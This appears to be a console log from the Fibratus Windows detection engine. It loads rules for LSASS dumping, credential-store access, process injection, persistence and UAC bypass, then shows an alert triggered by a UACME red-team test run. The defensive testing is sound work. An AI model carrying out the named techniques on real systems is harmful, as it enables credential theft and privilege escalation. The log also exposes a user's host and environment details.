C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:33:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:33:48+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:33:48+01:00 level=info msg=bootstrapping with pid 18204. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:33:48+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ to=>[] content-type=>text/html use-template=>true port=>25 enabled=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true enable-vamap=>true max-buffers=>36 enable-audit-api=>true enable-thread=>true flush-interval=>1s enable-handle=>false enable-mem=>false enable-registry=>true buffer-size=>512 min-buffers=>16 stack-enrichment=>true enable-image=>true enable-dns=>false enable-fileio=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text log-stdout=>true level=>info max-size=>100 max-age=>0 max-backups=>15] + output ......................... [ amqp=>[ enabled=>false exchange-type=>topic tls-insecure-skip-verify=>false vhost=>/ durable=>false delivery-mode=>transient routing-key=>fibratus exchange=>fibratus timeout=>5s url=>amqp://localhost:5672 passive=>false] elasticsearch=>[ healthcheck=>true flush-period=>1s gzip-compression=>false index-name=>fibratus template-name=>fibratus sniff=>false trace-log=>false healthcheck-interval=>10s bulk-workers=>1 timeout=>5s enabled=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s] http=>[ method=>POST endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s serializer=>json enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ fastscan=>true excluded-files=>[] excluded-procs=>[] skip-files=>false skip-mmaps=>false skip-registry=>false scan-timeout=>10s skip-allocs=>false enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:33:48+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:33:51+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:34:29+01:00 level=info msg=sending alert: [Hidden registry key creation]. Text: Hidden registry key HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\{7574DED2-AD1D-4B45-B884-983E1B86225C}\ created by process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 9209043 + Pid: 18360 + Tid: 18604 + Type: RegSetValue + CPU: 4 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:34:26.296736 +0100 CET + Params: key_handle➜ ffffc38f3b2a9500, key_path➜ HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\{7574DED2-AD1D-4B45-B884-983E1B86225C}\, status➜ Success + Metadata: technique.id: T1112, technique.name: Modify Registry, technique.ref: https://attack.mitre.org/techniques/T1112/, rule.name: Hidden registry key creation, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 18360 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 53 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 53] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ 